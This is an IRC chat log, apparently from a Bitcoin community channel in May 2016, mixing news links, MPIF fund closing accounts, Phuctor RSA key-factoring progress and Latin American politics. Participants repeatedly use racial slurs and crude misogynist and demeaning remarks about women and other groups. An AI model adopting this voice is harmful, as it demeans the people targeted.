actually pedo per se ? 1463603;1462466022;*;BingoBoingo though brock tried to "complete the circle" 1463604;1462466060;mircea_popescu;ah maybe 1463605;1462466079;BingoBoingo;You know move up from altar boy to man of the cloth, failed. 1463606;1462466611;asciilifeform;BingoBoingo: http://www.databreachtoday.com/blogs/please-dont-pay-ransoms-fbi-urges-p-2120 << possibly nyooz 1463607;1462466738;mircea_popescu;lol right, please. except they fucking pay themselves. a little late for that. 1463608;1462466815;mircea_popescu;anyway. ransomware seems the designated end-microsoft agent. 1463609;1462466834;asciilifeform;in related lulz, http://www.theregister.co.uk/2016/05/04/nist_readies_postquantum_crypto_competition 1463610;1462467521;asciilifeform;moar nato lulz, http://www.telegraph.co.uk/news/2016/05/05/royal-navy-fires-warning-shots-as-spanish-vessel-harasses-us-sub 1463611;1462468244;asciilifeform;in yet other nyooz, biometric lulz, http://www.latimes.com/local/california/la-me-iphones-fingerprints-20160430-story.html 1463612;1462468267;asciilifeform;'...authorities obtained a search warrant compelling the girlfriend of an alleged Armenian gang member to press her finger against an iPhone that had been seized...' 1463613;1462468296;*;asciilifeform eagerly awaits the first official 'coke machine warrant' 1463614;1462468415;asciilifeform;'"Unlike disclosing passcodes, you are not compelled to speak or say what's 'in your mind' to law enforcement," Gidari said. "'Put your finger here' is not testimonial or self-incriminating."' 1463615;1462468419;asciilifeform;gotta love the preeets. 1463616;1462468427;shinohai;preeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeet 1463617;1462468433;asciilifeform;wants a craaacker! 1463618;1462468474;shinohai;I submitted a gofundme to get a designated shitting street named after him in India, but twasn't approved. 1463619;1462468491;asciilifeform;l0lz 1463620;1462468567;mircea_popescu;aahaha if it';s not testimonial then nothing it produces may be entered into record ? 1463621;1462468681;asciilifeform;mircea_popescu: one might naively think ! 1463622;1462468699;asciilifeform;but it gets entered. 1463623;1462468701;mircea_popescu;hey, obamatax wasn't a care, right ? 1463624;1462468703;asciilifeform;as material evidence. 1463625;1462468712;mircea_popescu;deedbot- http://trilema.com/wp-content/uploads/2016/05/fmpif-closure.txt 1463626;1462468717;deedbot-;accepted: 1 1463627;1462468739;mircea_popescu;jurov : qntra shares added ; f.mpif units substracted ; delta btc applied. 1463628;1462468879;asciilifeform;aaaaaaaaaaaand we're over 2m mods. 1463629;1462469086;jurov;mircea_popescu: looks like you have not subtracted but yanked *all* f.mpif from that account 1463630;1462469105;mircea_popescu;o.O 1463631;1462469113;mircea_popescu;darn. 1463632;1462469218;mircea_popescu;so i have. how much are you owed ? 1463633;1462469280;jurov;266078-235013=31065 1463634;1462469334;jurov;or just add the div 1463635;1462469336;mircea_popescu;confirmed. adding 6.66810225 to your cash position. what a sum! 1463636;1462469352;jurov;ty! 1463637;1462469385;mircea_popescu;and hey, congrats on a job well done. 1463638;1462469392;mircea_popescu;same to hanbot, even if she was on the - towards the end. and to all others involved. 1463639;1462469414;mircea_popescu;nobody talks about it on rettardit etc, of course, but f.mpif boldly did what nobody else did ; nor anyone thought possible, in 2014 or 2010. 1463640;1462469473;jurov;wow, it was worth 21465 in the end? 1463641;1462469527;mircea_popescu;aha. 1463642;1462469598;hanbot;rip mpif! was a pleasure, even though pc4 didn't turn out so well. 1463643;1462469624;mircea_popescu;was a heartthrob for a month or so there, because it wasn't all too clear how bitbet will unwind. but in the end bettors were paid 100% 1463644;1462469715;asciilifeform;lulzily, it appears to still be on kako's box 1463645;1462469723;asciilifeform;he cleanly tombstoned it 1463646;1462469726;asciilifeform;it now sits silent, bet-less. 1463647;1462469762;mircea_popescu;i suppose there's weirder 86 btc purchases. 1463648;1462469764;asciilifeform;hitler, apparently, didn't get what he wanted out of the corpse 1463649;1462469772;asciilifeform;so left it to rot in the sun. 1463650;1462469786;deedbot;[Trilema] MPIF (F.MPIF) Closing Statement - http://trilema.com/2016/mpif-fmpif-closing-statement/ 1463651;1462469870;hanbot;where sun = paperwork 1463652;1462469875;mircea_popescu;and in other news, "Hello, my name is Summer, I am a single mother who is looking for her right Dom. I am currently pregnant with number 2 and about to have her. I am prior military and know how to listen ;). " 1463653;1462469883;mircea_popescu;who was looking to start his whiteboy nigger harem ? 1463654;1462469903;asciilifeform;l0l! dependapotamus?! 1463655;1462469915;mircea_popescu;notrly, looks pretty enough. 1463656;1462469951;asciilifeform;where is it written that dependapotami have to be ugly. 1463657;1462469952;mircea_popescu;1.72/64/24yo white girl. 1463658;1462469968;mircea_popescu;asciilifeform they have to be ugly and fat ; otherwise it's housewife neh 1463659;1462469986;mircea_popescu;besides, SHE was in the military. not some relative. 1463660;1462469993;asciilifeform;ah hm. 1463661;1462470394;asciilifeform;$up fromphuctor 1463662;1462470395;deedbot;fromphuctor voiced for 30 minutes. 1463663;1462470406;asciilifeform;hello fromphuctor 1463664;1462470415;asciilifeform;who might you be ? 1463665;1462470667;asciilifeform;these people. 1463666;1462470724;shinohai;Thanks for sharing your ip, please come back! 1463667;1462470772;asciilifeform;germany! 1463668;1462471086;mircea_popescu;and in more installments of the neverending lulz, http://dpaste.com/02RH4CT 1463669;1462471120;mircea_popescu;frb.gov no less. 1463670;1462471135;mircea_popescu;which i suppose is supposed to be the fed. 1463671;1462471176;asciilifeform;dump the cert plox ? 1463672;1462471180;asciilifeform;for our enlightenment. 1463673;1462471188;mircea_popescu;it's just a derpy zip. i can fwd if you want ? 1463674;1462471195;shinohai;`niggers.trilema.net` 1463675;1462471196;asciilifeform;uuencode + paste 1463676;1462471263;mircea_popescu;asciilifeform too late lol, i sent it. 1463677;1462471263;jurov;just feed it to imagemagick 1463678;1462471285;mircea_popescu;lol 1463679;1462471321;asciilifeform;l0l ty. 1463680;1462471715;asciilifeform;;;later tell BingoBoingo http://www.reuters.com/article/us-usa-cybersecurity-surveillance-idUSKCN0XR009 << qntra. 1463681;1462471715;gribble;The operation succeeded. 1463682;1462471730;asciilifeform;'The secretive U.S. Foreign Intelligence Surveillance Court did not deny a single government request in 2015...' 1463683;1462471810;danielpbarron;https://assets.documentcloud.org/documents/2823331/AGOReportFarakAmherstDrugLab.pdf >> Farak testified about her extensive drug use; her siphoning of drugs from the Lab's standards which were used to test drug samples, from police-submitted samples of drugs which were intended to be tested for evidentiary purposes in pending criminal cases, and from other chemists' samples; and her manufacturing in the Lab of crack cocaine for her 1463684;1462471828;asciilifeform;another one for BingoBoingo : http://arstechnica.com/tech-policy/2016/05/state-chemist-was-high-daily-thousands-of-drug-prosecutions-jeopardized 1463685;1462471838;asciilifeform;'All told, she estimated that she was smoking crack ten to twelve times a day.' 1463686;1462471844;danielpbarron;l0l 1463687;1462471857;asciilifeform;ah danielpbarron got first ! 1463688;1462471864;danielpbarron;by a hair! 1463689;1462471869;asciilifeform;lelz 1463690;1462471913;asciilifeform;gold: 1463691;1462471914;asciilifeform;'The report said that the woman began taking the lab's so-called "standard" drugs, the ones purchased from drug companies as a control in testing. "Farak began to consume the Amherst Lab's standards on a fairly regular basis beginning in late 2004 or early 2005," according to the report. "The first standard she admitted to using was the methamphetamine standard, which was the largest or most volumin 1463692;1462471914;danielpbarron;"in other massachusettes newz" 1463693;1462471920;asciilifeform;ous standard at the Amherst Lab.' 1463694;1462471974;danielpbarron;my brother works for a place that makes such standards; from what he described, the stuff doesn't sound like's it's even recreationally usable 1463695;1462472069;asciilifeform;'According to Farak, the "high" from the drug lasted approximately 8 to 10 hours. In addition, the drug gave her the desired effects that she had discovered in her research: "I felt amazing. It gave me energy. I felt more alert. I did not wish it but it gave me the pep I was looking for." Farak maintained that her work was not affected at the Lab but that the methamphetamine made her "more alert and 1463696;1462472070;mircea_popescu;wait, is this another one or the same one ? 1463697;1462472075;asciilifeform; more let's get this done sort of thing." She insisted that she "analyzed everything according to procedures"11 and that she did all the testing required, in fact "double-check[ing] her work." ' 1463698;1462472081;asciilifeform;new one, looks like 1463699;1462472085;mircea_popescu;at some point mass courts were working triple time to catch up with 1000s of dead cases. 1463700;1462472090;mircea_popescu;haha. mmmkay. LAW ENFORCEMENT 1463701;1462472096;mircea_popescu;never ceases to unintentionally entertain. 1463702;1462472121;mircea_popescu;asciilifeform how many of these until we just declare usg da offices a criminal entreprise wholesale and start prosecuting them for narco crimes ? 1463703;1462472185;asciilifeform;i once worked in a (non-criminalistic, academic) bio laboratory formerly - according to local lore - staffed by entirely different group, headed by phd who was eventually defrocked and disgraced for having dipped into his official cocaine stash 1463704;1462472196;asciilifeform;(it was present for some investigation involving rats) 1463705;1462472225;asciilifeform;mircea_popescu: as if it was ~ever~ other than a criminal enterprise. 1463706;1462472227;mircea_popescu;heh 1463707;1462472284;mircea_popescu;and in other criminal entreprise news, http://66.media.tumblr.com/44e412c0fbeb869aa3504361a4a13200/tumblr_nsqp2uAgQ51tyw73vo1_1280.jpg 1463708;1462472366;BingoBoingo; anyway. ransomware seems the designated end-microsoft agent. << Please submit to qntra or longform this lulz. With Phuctor happily churning writing this would be a great public service. 1463709;1462472396;mircea_popescu;i've been mulling it over, but... kinda too soon. 1463710;1462472404;asciilifeform;from the lulstream, https://dankaminsky.com/2016/05/03/the-cryptographically-provable-con-man 1463711;1462472419;asciilifeform;BingoBoingo, mircea_popescu: waiwut 1463712;1462472462;asciilifeform;kaminsky's link - hilariously - gavin backpedals... 1463713;1462472477;asciilifeform;get this: 1463714;1462472478;asciilifeform;'It was a mistake to agree to publish my post before I saw his– I assumed his post would simply be a signed message anybody could easily verify.' 1463715;1462472481;mircea_popescu;unsurprisingly. 1463716;1462472493;asciilifeform;ooooops! i forgot to verify the sig!!11111 1463717;1462472495;asciilifeform;srsly?! 1463718;1462472539;shinohai;http://www.telesurtv.net/english/news/Mexican-Congresswoman-Declares-War-on-Memes-20160504-0052.html <<< war on memes lmao 1463719;1462472541;mircea_popescu;hey, dan kaminsky wants to piss on his own face, he's more than welcome to. 1463720;1462472564;mircea_popescu;entirely reasonable my foot. "if you call things things then things become things" "yeah, such as your face becomes a turd." 1463721;1462472567;asciilifeform;mircea_popescu: quote was from - supposedly - gavin's letter to him. 1463722;1462472583;asciilifeform;not k himself. 1463723;1462472593;asciilifeform;(who, afaik, is mainly a spamologist) 1463724;1462472628;BingoBoingo; ous standard at the Amherst Lab.' << Between this, Gavin, and Trigglypuff Amherst is starting to sound like quite the lizard den. 1463725;1462472638;asciilifeform;$up pjp 1463726;1462472639;deedbot;pjp voiced for 30 minutes. 1463727;1462472689;mircea_popescu;asciilifeform left him a comment. #112983 1463728;1462472721;asciilifeform;mircea_popescu: looks like not surfaced yet 1463729;1462472755;mircea_popescu;i don't expect it to. told him he's an idiot, which is probably all the more unacceptable as it's factual. 1463730;1462472765;asciilifeform;lel 1463731;1462472770;mircea_popescu;but hey, supposedly you should give people a chance. 1463732;1462472776;trinque;I'm glad my recent optimizations to deedbot have made it more stable :p 1463733;1462472779;trinque;(didn't do shit) 1463734;1462472789;mircea_popescu;though i wonder how many times it has happened to date idiot got called an idiot, stopped and realised he is an idiot, fixed his head. 1463735;1462472791;mircea_popescu;possiobly never. 1463736;1462473110;*;BingoBoingo doesn't remember if called an idiot or not during early ventures to future Republic's forums 1463737;1462473522;BingoBoingo;https://i.imgur.com/SwOcbg4.png 1463738;1462473607;*;asciilifeform dun click BingoBoingo's photos no moar. esp. not before eating. 1463739;1462473653;mircea_popescu;or after.\ 1463740;1462473653;asciilifeform;BingoBoingo single-handedly ruined 'flyover state america' for me. 1463741;1462473654;BingoBoingo;Just wait 30 minutes before eating after viewing photo or 30 minutes after eeating before photo 1463742;1462473689;BingoBoingo;asciilifeform: Funny because most of the photos are Amherst massachussettes 1463743;1462473692;asciilifeform;i used to picture it as quiet, corn fields, tumbleweed, depressed farmers smoking homegrown tobacco and mumbling incoherently, and other nice things 1463744;1462473726;BingoBoingo;Flyover America has a lot of that so long as you avoid walmart 1463745;1462473742;asciilifeform;yeah but afaik all settlements there now cluster around lolmart 1463746;1462473759;asciilifeform;which provides all the stuff that dun grow from the ground. 1463747;1462473782;BingoBoingo;Nah, lolmarts settle on the fringe of such settlements for easy access for major peripheral roads 1463748;1462473822;asciilifeform;and i'm told now the farmerz have tv sets, which they stare at instead of old, good, wholesome hobbies like sister-fucking 1463749;1462473875;BingoBoingo;asciilifeform: You just gotta go to the Home Depot and pick up all the fit divorced womenfolk. 1463750;1462473895;asciilifeform;what are they doing in home despot ? 1463751;1462473897;asciilifeform;buying cement ? 1463752;1462473982;shinohai;Whores have to buy their new home supplies with ex's alimony somewhere. 1463753;1462474266;asciilifeform;is today's 'theme' - ecologically-clean!1111, 100% post-consumer recycled cunt ? 1463754;1462474269;asciilifeform;or wut. 1463755;1462474545;shinohai;Lulzy but I don't have anymore Qntra in me: http://www.bbc.com/news/world-africa-36210680 1463756;1462474598;BingoBoingo; what are they doing in home despot ? << Hunting the eligible working men. 1463757;1462474694;BingoBoingo; buying cement ? << Frequently. But they way it works is by going to a venue where working people go they filter out the Beetus Barges at the door for the most part. 1463758;1462474773;asciilifeform;BingoBoingo: where are these circus freaks who are supposedly everywhere ? 1463759;1462474786;asciilifeform;believe or not - they aren't here ! 1463760;1462474821;BingoBoingo;asciilifeform: On the college campuses and Walmarts. Seriously check the dining hall and not just the library. 1463761;1462474851;asciilifeform;BingoBoingo: actually i go there often. 1463762;1462474859;asciilifeform;~100% of the gurlz are hot. 1463763;1462474869;BingoBoingo;Anyways. 38 year old woman on the prowl wants a man who unlike her transmayo ex with an office job that can lay pipe, she goes where the pipe is sold. 1463764;1462475114;asciilifeform;BingoBoingo: i thought the more typical american pattern was the opposite 1463765;1462475131;asciilifeform;where a chick is no longer appealing to pipe runners and looks for office bag 1463766;1462475161;BingoBoingo;What does they men's opinions have to do with the chick's behaviors? 1463767;1462475264;asciilifeform;same thing employer's opinions have to do with a stinking bum's behaviour ? 1463768;1462475280;asciilifeform;e.g., his behaviour of not driving 'mercedes' 1463769;1462475534;BingoBoingo;But this is 'Murica. If she thinks she can bag a hard working trades man god damn it she will spend a good chunk of her week in that pursuit. 1463770;1462475580;asciilifeform;i would comment but i realized that i've never actually been to BingoBoingo's america, so. 1463771;1462475606;deedbot;[Qntra] United States Surveillance Court Rejected No Orders In 2015 - http://qntra.net/2016/05/united-states-surveillance-court-rejected-no-orders-in-2015/ 1463772;1462475611;asciilifeform;prolly closest i ever came, at least culturally, is going through delawre. 1463773;1462475619;asciilifeform;*delaware 1463774;1462475625;asciilifeform;corn fields, lolmarts, the worx. 1463775;1462475634;asciilifeform;even though 'not flyover' 1463776;1462475649;BingoBoingo;I dunno Delaware. Prolly too close to New York and hence corrupted. 1463777;1462475680;asciilifeform;i mention it because it was full of the joys BingoBoingo described. 1463778;1462475684;asciilifeform;including, e.g., 'land whales'. 1463779;1462475734;BingoBoingo;See, they do exist and you have seen them with your own eyes. 1463780;1462475780;asciilifeform;oh i knew that they exist. 1463781;1462475793;BingoBoingo;You just try to forget the horror 1463782;1462475800;asciilifeform;in specially-designated leprosoriae. 1463783;1462475823;trinque;like pittsburgh 1463784;1462475836;trinque;all of PA really. 1463785;1462475973;*;BingoBoingo kind of disappoint alf declined to comment on Petrocheese qntra http://qntra.net/2016/05/usg-stockpile-of-petrocheese-hits-new-high/ 1463786;1462475987;asciilifeform;BingoBoingo: supposing that i correctly understood mircea_popescu's corn chronicles, the 'obeasts' belong to warren buffett every bit as surely as dr mengele's victims belonged to mengele 1463787;1462476051;asciilifeform;BingoBoingo: confusing post, implies that the surplus is of euro - i.e. actual - cheese 1463788;1462476066;asciilifeform;(afaik eu does not make petrocheese for export or otherwise) 1463789;1462477073;asciilifeform;i am off to - so help me satan - a golf field. 1463790;1462477079;asciilifeform;for wurk!! 1463791;1462477088;*;asciilifeform bbl. 1463792;1462480171;mircea_popescu;http://btcbase.org/log/2016-05-05#1463753 << wtf, nobody wants a noob cunt anymore than a noob computer science expert. 1463793;1462480171;a111;Logged on 2016-05-05 18:51 asciilifeform: is today's 'theme' - ecologically-clean!1111, 100% post-consumer recycled cunt ? 1463794;1462480458;mircea_popescu;http://btcbase.org/log/2016-05-05#1463765 << notrly. too many office drones in the "civilised" world. 1463795;1462480458;a111;Logged on 2016-05-05 19:05 asciilifeform: where a chick is no longer appealing to pipe runners and looks for office bag 1463796;1462480503;mircea_popescu;time's not kind to women, but genetics are, and even time's not THAT unkind. nothing can touch the horror puritanism wreaks once it gets going. 1463797;1462496398;mircea_popescu;omaigerd you can't imagine how butthurt argentina press is over trump winning 1463798;1462496406;mircea_popescu;it's a pleasure to read their fishwraps. 1463799;1462496878;mircea_popescu;lol @alfie introducing actually signed messages to the supposed "seclist". which is like... the first time ever the string "sha 512" even appeared in that archive i guess ? 1463800;1462496925;mircea_popescu;BingoBoingo that "boatoshi" thing has a future methinks :D 1463801;1462496939;mircea_popescu;as in "are you fresh off the boatoshi ???" etc 1463802;1462496996;mircea_popescu;and in other opsec news etc, http://67.media.tumblr.com/676b598c7447a5334fb7d084b806066c/tumblr_nsig6aas3m1uo6u6mo1_500.gif 1463803;1462497106;shinohai;^ one way to keep secrets from leaking 1463804;1462497116;mircea_popescu;that's airtight. 1463805;1462499094;asciilifeform;l0l! 1463806;1462499833;mod6;General update: for the last 4 days or so, have been just working out some of the kinks in `t', getting it ready to send to the list. 1463807;1462499846;mod6;Shouldn't be tooo much longer. Salud! 1463808;1462500084;mircea_popescu;cheerz 1463809;1462500102;mircea_popescu;asciilifeform so keybase set more or less done w/o incident ? 1463810;1462500373;mircea_popescu;ah, no Known Moduli: 2018943. vs 2mn earlier today... so it ~is~ actually doing more like 20-30k/24 hrs ? 1463811;1462503341;asciilifeform;http://btcbase.org/log/2016-05-06#1463810 << still going, about 5k in. but this is in parallel with the tail end of sks. 1463812;1462503341;a111;Logged on 2016-05-06 02:06 mircea_popescu: ah, no Known Moduli: 2018943. vs 2mn earlier today... so it ~is~ actually doing more like 20-30k/24 hrs ? 1463813;1462503360;asciilifeform;also many of the kb keyz are in sks. 1463814;1462503403;asciilifeform;also the eating rate varies with db load (from readers) 1463815;1462504178;asciilifeform;$up dooglus 1463816;1462504179;deedbot;dooglus voiced for 30 minutes. 1463817;1462505390;asciilifeform;mircea_popescu: 5877/38479 at present time, to be exact. 1463818;1462505417;asciilifeform;1256094/1298527 from sks rsa set. 1463819;1462507205;mircea_popescu;aha 1463820;1462507230;mircea_popescu;asciilifeform anyway, seems you were right, keybase moduli aren't particularly rotten 1463821;1462507241;mircea_popescu;search me how the fuck they managed to get rng in js, but w/e. 1463822;1462507579;mircea_popescu;felipelalli1983 so how about that dilma huh. they're wringing her neck they are. 1463823;1462508337;mircea_popescu;and in other boobs http://66.media.tumblr.com/f0c8ab37fbf5db4069bb217fd15ab9d9/tumblr_nj8cu1qokj1rfxpbko1_1280.jpg 1463824;1462508517;deedbot;[Trilema] No Such lAbs (S.NSA), April 2016 Statement - http://trilema.com/2016/no-such-labs-snsa-april-2016-statement/ 1463825;1462509150;felipelalli;Hi mircea_popescu ! yes, you are right!! ahahh. It's incredible that she doesn't renounce. That kind of people is always a dog with a bone. 1463826;1462509232;felipelalli;in the day of first and most important impeachment election the people celebrates more than World Cup final! 1463827;1462509286;felipelalli;I was in the same place, this street: http://www.portalcbncampinas.com.br/wp-content/uploads/2016/04/6eb6b6f4-39a8-41b3-99ca-7c9f4c1982c4-310x165.jpg 1463828;1462509298;felipelalli;everybody watching like the World Cup final. 1463829;1462509419;felipelalli;I had an issue in my connection. Did you guys receive my lasts 4 messages? 1463830;1462509651;mircea_popescu;seems da silva is gonna end up in jail too 1463831;1462509655;mircea_popescu;felipelalli sure. 1463832;1462509730;mircea_popescu;oh and maduro is besieging the parliament lol. pretty lulzy south american spring 1463833;1462509746;felipelalli;mircea_popescu, everyone here hope so. 1463834;1462509772;mircea_popescu;i thought he was very populare 1463835;1462509778;felipelalli;I don't understand how they can survive with that hyperinflation 1463836;1462509785;felipelalli;*was* 1463837;1462509812;felipelalli;but, to be honest he is still yet, but only with really poor people 1463838;1462509821;mircea_popescu;felipelalli actually lots of the runners working for people here are venezuelan chix. 1463839;1462509846;felipelalli;really? how? 1463840;1462509859;mircea_popescu;well, ran out of venezuela one way or another, needed a job. 1463841;1462509882;felipelalli;ah! are you living in Argentina, I have forgot that! 1463842;1462509918;mircea_popescu;yea 1463843;1462509941;felipelalli;at least they didn't come to Brazil yet! maybe because we're very bad too. everything is collapsing, as in the book Atlas Shrugged 1463844;1462509967;mircea_popescu;also kinda hot 1463845;1462509973;felipelalli;and in Argentina the new president is really better or same shit? 1463846;1462510005;felipelalli;the people in Brazil say the new president is God comparing to that woman. 1463847;1462510012;mircea_popescu;he's competent, economically. better, what's that. he's a faithful usg muppet, working to make the place more in line with washington's interest. 1463848;1462510019;mircea_popescu;which is all the better, argentines are imbeciles. 1463849;1462510026;felipelalli;lol 1463850;1462510039;felipelalli;I was only once in Argentina, in a Bitcoin event 1463851;1462510045;mircea_popescu;most annoying dilemma, do you want to live on a farm, or do you want to live in a republic of farm animals ?! 1463852;1462510057;felipelalli;ahahah 1463853;1462510057;mircea_popescu;fuckall, i'd much prefer living in a city among civilised folk. but this isn't on offer. 1463854;1462510079;mircea_popescu;anyway. he's better, he's turning the republic of cattle into rancho cucamonga. 1463855;1462510089;felipelalli;hahah 1463856;1462510118;felipelalli;I am a voluntaryist, and we are "splited" about the situation here. 1463857;1462510135;felipelalli;because Dilma made a lot of voluntaryists!! 1463858;1462510145;mircea_popescu;it's unclear to me what the protestors actually want. 1463859;1462510150;mircea_popescu;they'll replace this lot with... what, aliens ? 1463860;1462510158;felipelalli;ahhahah 1463861;1462510175;mircea_popescu;new politicians. well... guess what, the new politicians are hungry. 1463862;1462510182;felipelalli;the protesters are conservatives, they are just "anti-communist" 1463863;1462510186;felipelalli;not anti-gov 1463864;1462510203;mircea_popescu;seems these communists were really very savagely capitalistic though 1463865;1462510216;mircea_popescu;stealing from "the state" to make one's own fortune is how capitalism always starts. 1463866;1462510219;felipelalli;agreed 1463867;1462510250;felipelalli;actually they are not personally "so rich" like they could be. They are sick, they just want to impose their communist agenda 1463868;1462510258;mircea_popescu;anyway. i don't think anyone actulaly understands what they're doing or knows why. 1463869;1462510273;mircea_popescu;i bet if you torture dilma in like a medieval dungeon to tell you the truth, why the fuck she did it, 1463870;1462510285;mircea_popescu;she'll be like "uh i dunno... i thought it's what's done... everyone else was doing it" 1463871;1462510294;felipelalli;I think the extreme left is going to disappear for some years, at least. 1463872;1462510299;mircea_popescu;bitch... you're the fucking president, your life philosophy is "hurr, i'll just do what everyone does" ? 1463873;1462510318;felipelalli;lol 1463874;1462510322;mircea_popescu;eh, the extreme left consists of "herp, i'm really lazy, things should happen". that's nevere going anywhere. 1463875;1462510340;felipelalli;the people here are crazy for "rights" 1463876;1462510348;mircea_popescu;it'll disappear five minutes after farts disappear. 1463877;1462510349;felipelalli;we have a *lot* of "rights 1463878;1462510354;mircea_popescu;yeah im sure you do. 1463879;1462510373;felipelalli;but no one of these rights actually really works lol 1463880;1462510388;felipelalli;the people here are really stupid too, including the rich ones. 1463881;1462510403;mircea_popescu;do you know what's the difference between a guy from brazil and a guy from kentucky ? 1463882;1462510419;felipelalli;the rich are anti-comm but they are more "statits" than anyone. They really love a strong strong State 1463883;1462510419;BingoBoingo;lol boatoshi 1463884;1462510430;felipelalli;no, what is? 1463885;1462510460;BingoBoingo;;;later tell pete_dushenski Where's the Albert wildfire piece. I think you already know what the hook should be... 1463886;1462510461;gribble;The operation succeeded. 1463887;1462510464;mircea_popescu;the guy from kentucky has half a dozen broken cars on plastic foil in front of his house ; the guy from brazil has half dozen broken rights on plastic foil in front of his house. 1463888;1462510472;mircea_popescu;neither gets them anywhere. 1463889;1462510473;felipelalli;BingoBoingo, I have translated that news to Brazilian fb group and they loved the "Boatoshi" hahahh 1463890;1462510482;BingoBoingo;sweet 1463891;1462510496;felipelalli;mircea_popescu, true ahha 1463892;1462510534;mircea_popescu;hm, i wonder if a portuguese qntra section'd be worth it. 1463893;1462510558;mircea_popescu;yet in other cunts, http://65.media.tumblr.com/82a1726ecd72379c6c1eb3dddf149e8f/tumblr_nni0fzwinf1txqtqio1_1280.jpg 1463894;1462510571;felipelalli;mircea_popescu, maybe not yet, not so many active people here, and most are really stupid yet. They are learning yet what Bitcoin actually is. 1463895;1462510583;mircea_popescu;aha 1463896;1462510586;felipelalli;now they are in love with ETH 1463897;1462510593;felipelalli;and altcoins 1463898;1462510614;mircea_popescu;lolk 1463899;1462510618;felipelalli;they are masochists, not in BSDM sense lol 1463900;1462510644;felipelalli;I have blocked more than 20 already hahah 1463901;1462510687;felipelalli;some of them says Bitcoin will fatally dies because is "too old", like an old car. 1463902;1462510694;mircea_popescu;lol 1463903;1462510694;felipelalli;but they don't understand money is better if older. 1463904;1462510746;felipelalli;but with this incredible fall of ETH they are just quiet now hahah 1463905;1462510756;mircea_popescu;heh. 1463906;1462510811;felipelalli;at least they stop to talk about that shit of big blocks hahah 1463907;1462510873;felipelalli;they finally understand that the block aways tends to be full of rubish. Just pay 0.01 $ more and you are free from the tx mud. 1463908;1462510982;mircea_popescu;fancy that, the emergency went away. 1463909;1462511010;felipelalli;mircea_popescu, yes, suddenly. 1463910;1462511180;felipelalli;I think Theymos made the right choice to censor (what lead to a split) the subreddit. Now /r/btc is filled with a bunch of derps; it's amazing how they attract each other! 1463911;1462511220;mircea_popescu;myeah. contrary to fiatista ideology, the only thing large groups of "people themselves" do is collapse on their own shitweight. 1463912;1462511292;felipelalli;"fiatista ideology" auehauaueh 1463913;1462511314;mircea_popescu;no but there's this thing "oh, you want more users" , "oh what people say/think matters" 1463914;1462511316;mircea_popescu;yeah right. 1463915;1462511414;felipelalli;yes.. Do you know what is HuE BR? On the Internet we laugh like that: "auheuaheuahe" http://www.wowgirl.com.br/wp-content/uploads/2015/01/hue.png 1463916;1462511496;felipelalli;do you know that? https://www.youtube.com/watch?v=7PjrTOjxjxk lol 1463917;1462511778;mircea_popescu;like a meme ? 1463918;1462511808;felipelalli;yes 1463919;1462511827;felipelalli;it's about how the BR HuE destroy everything ahaha 1463920;1462511841;mircea_popescu;what is it, a sort of orc ? 1463921;1462511848;felipelalli;loll 1463922;1462516201;BingoBoingo;;;bc,stats 1463923;1462516205;gribble;Current Blocks: 410463 | Current Difficulty: 1.7865925777252728E11 | Next Difficulty At Block: 411263 | Next Difficulty In: 800 blocks | Next Difficulty In About: 5 days, 2 hours, 17 minutes, and 34 seconds | Next Difficulty Estimate: None | Estimated Percent Change: None 1463924;1462516386;BingoBoingo;;;ticker --market all 1463925;1462516394;gribble;Bitstamp BTCUSD last: 449.04, vol: 2825.61233958 | BTC-E BTCUSD last: 444.0, vol: 4366.57591 | Bitfinex BTCUSD last: 449.48, vol: 8028.53457791 | BTCChina BTCUSD last: 446.9596, vol: 20549.13940000 | Kraken BTCUSD last: 448.203, vol: 334.43299409 | Bitcoin-Central BTCUSD last: 453.617604, vol: 5.2675528 | Volume-weighted last average: 447.337370007 1463926;1462522891;punkman;http://qz.com/676048/the-us-spent-1-4-billion-in-africa-telling-people-not-to-have-sex-and-it-didnt-work/ 1463927;1462523499;punkman;http://www.theregister.co.uk/2016/05/04/cops_deploy_antiterrorist_tech_against_50_chickenwing_thief/ 1463928;1462540149;asciilifeform;http://btcbase.org/log/2016-05-06#1463821 << realize that 'poor rng' does not necessarily mean 'phuctorable.' if the keyspace is reduced from, say, 10^100 to 10^10, it does not follow that given the number of extant keys there will be duplicate factors. 1463929;1462540149;a111;Logged on 2016-05-06 04:00 mircea_popescu: search me how the fuck they managed to get rng in js, but w/e. 1463930;1462540179;asciilifeform;but what it DOES mean is that folks who know 'where the corpse is buried' can derive yer keyz. 1463931;1462540197;asciilifeform;because their search space is constrained. 1463932;1462540211;asciilifeform;this is kindergarten diddlatronics. 1463933;1462540326;asciilifeform;http://btcbase.org/log/2016-05-06#1463926 << this is fall-off-your-chair hilarious until you realize that - quite likely - no puritan derp actually went and told africans not to fuck. instead, the MONEY bought yachts, fattened harvard, bought dope, and whatever else anglo ruling class imbeciles normally do with it. 1463934;1462540326;a111;Logged on 2016-05-06 08:21 punkman: http://qz.com/676048/the-us-spent-1-4-billion-in-africa-telling-people-not-to-have-sex-and-it-didnt-work/ 1463935;1462540426;asciilifeform;http://btcbase.org/log/2016-05-06#1463847 << ahahaha mircea_popescu may as well open, e.g., scintillator fibre factory, in kentucky then ?! 1463936;1462540426;a111;Logged on 2016-05-06 04:46 mircea_popescu: he's competent, economically. better, what's that. he's a faithful usg muppet, working to make the place more in line with washington's interest. 1463937;1462540481;asciilifeform;and when i say 'show me a place ~not~ ruled by usg muppets where a cultured man might want to live' mircea_popescu laughs. 1463938;1462548986;mircea_popescu;trinque what are your thoughts re importing into deedbot the ENTIRE key db as owned by phuctor ? 1463939;1462549004;mircea_popescu;on some level it seems one shouldn't be precluded in rating a key merely because the owner of that key failed to register it with teh republic. 1463940;1462549192;asciilifeform;mircea_popescu: l0l! yer gonna love the n*log(n) lookups 1463941;1462549202;asciilifeform;tanstaafl (tm) (r) 1463942;1462549214;mircea_popescu;kik ? 1463943;1462549224;asciilifeform;'there aint no such thing as a free lunch' 1463944;1462549240;punkman;you don't have to import it into gpg 1463945;1462549252;punkman;(all at once) 1463946;1462549279;mircea_popescu;seems to me it'd be a tree, 40 deep. whats teh big deal 1463947;1462549385;*;asciilifeform always pronounced it like Schutzstaffel 1463948;1462549421;asciilifeform;the big deal is that a db that gets ~added to~ is not so simple as 'tree of 40 levels' 1463949;1462549430;trinque;mircea_popescu: I'm for it. 1463950;1462549436;trinque;asciilifeform: how big is the whole key archive? 1463951;1462549450;asciilifeform;trinque: ~6GB 1463952;1462549452;mircea_popescu;trinque asciilifeform has some sort of point, BUT, i think it should be approachable. needs some cranium grease put into it all. 1463953;1462549473;asciilifeform;anyway it's doable, but you 